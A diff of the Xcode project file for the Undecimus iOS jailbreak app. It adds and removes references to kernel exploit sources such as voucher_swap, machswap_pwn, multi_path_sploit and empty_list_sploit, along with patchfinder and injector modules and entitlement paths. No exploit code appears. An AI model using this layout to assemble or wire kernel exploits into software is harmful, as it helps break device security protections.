216F3F352228776D007DC1BC /* user_client.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = user_client.h; sourceTree = "<group>"; };
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_call.c; sourceTree = "<group>"; };
|
||||
216F3F372228776D007DC1BC /* user_client.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = user_client.c; sourceTree = "<group>"; };
|
||||
216F3F382228776D007DC1BC /* pac.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pac.h; sourceTree = "<group>"; };
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_call.h; sourceTree = "<group>"; };
|
||||
216F3F3A2228776D007DC1BC /* pac.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pac.c; sourceTree = "<group>"; };
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kc_parameters.h; sourceTree = "<group>"; };
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kc_parameters.c; sourceTree = "<group>"; };
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libz.tbd; path = usr/lib/libz.tbd; sourceTree = SDKROOT; };
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SystemConfiguration.framework; path = System/Library/Frameworks/SystemConfiguration.framework; sourceTree = SDKROOT; };
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kalloc_crash.h; sourceTree = "<group>"; };
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kalloc_crash.c; sourceTree = "<group>"; };
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = UIProgressHUD.h; sourceTree = "<group>"; };
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = "<group>"; };
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
|
||||
@@ -132,9 +64,6 @@
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; };
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap2_pwn.m; sourceTree = "<group>"; };
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap2_pwn.h; sourceTree = "<group>"; };
|
||||
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
|
||||
@@ -146,10 +75,10 @@
|
||||
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* KernelOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelOffsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelStructureOffsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelOffsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelStructureOffsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
|
||||
@@ -162,20 +91,10 @@
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = prefs.h; sourceTree = "<group>"; };
|
||||
21CC3902227CDFDE0072D572 /* prefs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = prefs.m; sourceTree = "<group>"; };
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = diagnostics.m; sourceTree = "<group>"; };
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = diagnostics.h; sourceTree = "<group>"; };
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = offsetcache.c; path = "offset-cache/offsetcache.c"; sourceTree = SOURCE_ROOT; };
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = offsetcache.h; path = "offset-cache/offsetcache.h"; sourceTree = SOURCE_ROOT; };
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_pwn.h; sourceTree = "<group>"; };
|
||||
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_offsets.h; sourceTree = "<group>"; };
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_offsets.m; sourceTree = "<group>"; };
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_pwn.m; sourceTree = "<group>"; };
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
|
||||
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
|
||||
@@ -198,9 +117,6 @@
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */,
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */,
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */,
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
|
||||
@@ -228,97 +144,9 @@
|
||||
path = sys;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
213E78222208652B00FDF3B7 /* necp */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
213E78242208654700FDF3B7 /* necp.h */,
|
||||
213E78252208654700FDF3B7 /* necp.c */,
|
||||
);
|
||||
name = necp;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
214A1771224EBE4900588EC4 /* kerneldec */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */,
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */,
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */,
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */,
|
||||
);
|
||||
name = kerneldec;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C6220212A6001C8677 /* empty_list */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
);
|
||||
name = empty_list;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C7220212BC001C8677 /* multi_path */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
);
|
||||
name = multi_path;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C8220212D1001C8677 /* async_wake */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
);
|
||||
name = async_wake;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
);
|
||||
name = deja_xnu;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */,
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */,
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */,
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */,
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */,
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */,
|
||||
2150A9CE22021347001C8677 /* log.c */,
|
||||
2150A9D522021347001C8677 /* log.h */,
|
||||
2150A9D922021348001C8677 /* parameters.c */,
|
||||
2150A9D022021347001C8677 /* parameters.h */,
|
||||
2150A9CF22021347001C8677 /* platform_match.c */,
|
||||
2150A9D722021348001C8677 /* platform_match.h */,
|
||||
2150A9D422021347001C8677 /* platform.c */,
|
||||
2150A9D222021347001C8677 /* platform.h */,
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */,
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */,
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */,
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */,
|
||||
);
|
||||
name = voucher_swap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21675B62214A68B700D20E2B /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */,
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */,
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */,
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
|
||||
@@ -326,28 +154,9 @@
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
216F3F342228774D007DC1BC /* kernel_call */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */,
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */,
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */,
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */,
|
||||
216F3F3A2228776D007DC1BC /* pac.c */,
|
||||
216F3F382228776D007DC1BC /* pac.h */,
|
||||
216F3F372228776D007DC1BC /* user_client.c */,
|
||||
216F3F352228776D007DC1BC /* user_client.h */,
|
||||
);
|
||||
name = kernel_call;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3421B192750059BD10 /* include */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */,
|
||||
2150A9E322021381001C8677 /* mach_vm.h */,
|
||||
2150A9E422021381001C8677 /* ipc_port.h */,
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */,
|
||||
226689DA21EC145000262F66 /* archive.h */,
|
||||
226689DB21EC145000262F66 /* libproc.h */,
|
||||
211C372621CE2DD800ADBEA2 /* net */,
|
||||
@@ -364,6 +173,7 @@
|
||||
2170BD3621B192B90059BD10 /* resources */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
|
||||
);
|
||||
path = resources;
|
||||
@@ -372,17 +182,6 @@
|
||||
2170BDCB21B32FF10059BD10 /* source */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */,
|
||||
214A1771224EBE4900588EC4 /* kerneldec */,
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */,
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */,
|
||||
216F3F342228774D007DC1BC /* kernel_call */,
|
||||
213E78222208652B00FDF3B7 /* necp */,
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */,
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */,
|
||||
2150A9C8220212D1001C8677 /* async_wake */,
|
||||
2150A9C7220212BC001C8677 /* multi_path */,
|
||||
2150A9C6220212A6001C8677 /* empty_list */,
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */,
|
||||
22F91CD821E02CC700B2FCAE /* injector */,
|
||||
@@ -390,15 +189,27 @@
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
225D142321E055E90045493D /* ArchiveFile.h */,
|
||||
225D142121E052960045493D /* ArchiveFile.m */,
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */,
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */,
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */,
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */,
|
||||
21C0FC8221369EE900849420 /* KernelOffsets.h */,
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */,
|
||||
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */,
|
||||
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */,
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
@@ -415,12 +226,6 @@
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */,
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */,
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */,
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */,
|
||||
21CC3902227CDFDE0072D572 /* prefs.m */,
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */,
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */,
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */,
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */,
|
||||
);
|
||||
path = source;
|
||||
sourceTree = "<group>";
|
||||
@@ -433,15 +238,6 @@
|
||||
path = frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */,
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */,
|
||||
);
|
||||
name = kalloc_crash;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21C0FC5E21369EB700849420 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -471,7 +267,6 @@
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */,
|
||||
21C0FC7521369EB800849420 /* LaunchScreen.storyboard */,
|
||||
21C0FC7821369EB800849420 /* Info.plist */,
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
);
|
||||
path = Undecimus;
|
||||
sourceTree = "<group>";
|
||||
@@ -485,28 +280,6 @@
|
||||
name = patchfinder64;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */,
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */,
|
||||
);
|
||||
name = "offset-cache";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */,
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */,
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */,
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */,
|
||||
21BB9803222F05C40012AF40 /* machswap2_pwn.h */,
|
||||
21BB9802222F05C40012AF40 /* machswap2_pwn.m */,
|
||||
);
|
||||
name = machswap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CD821E02CC700B2FCAE /* injector */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -552,7 +325,7 @@
|
||||
21C0FC5F21369EB700849420 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1010;
|
||||
LastUpgradeCheck = 0940;
|
||||
ORGANIZATIONNAME = Pwn20wnd;
|
||||
TargetAttributes = {
|
||||
21C0FC6621369EB700849420 = {
|
||||
@@ -586,6 +359,7 @@
|
||||
files = (
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -615,51 +389,27 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */,
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */,
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */,
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */,
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */,
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */,
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */,
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */,
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */,
|
||||
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */,
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */,
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
|
||||
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */,
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */,
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
|
||||
21CC3905227CDFDE0072D572 /* prefs.m in Sources */,
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
|
||||
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */,
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */,
|
||||
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */,
|
||||
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */,
|
||||
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */,
|
||||
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */,
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */,
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */,
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */,
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */,
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */,
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */,
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */,
|
||||
);
|
||||
@@ -793,13 +543,9 @@
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = YES;
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
|
||||
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
DEVELOPMENT_TEAM = "";
|
||||
@@ -815,8 +561,6 @@
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
"$(PROJECT_DIR)/offset-cache",
|
||||
"$(PROJECT_DIR)/kerneldec",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -824,21 +568,17 @@
|
||||
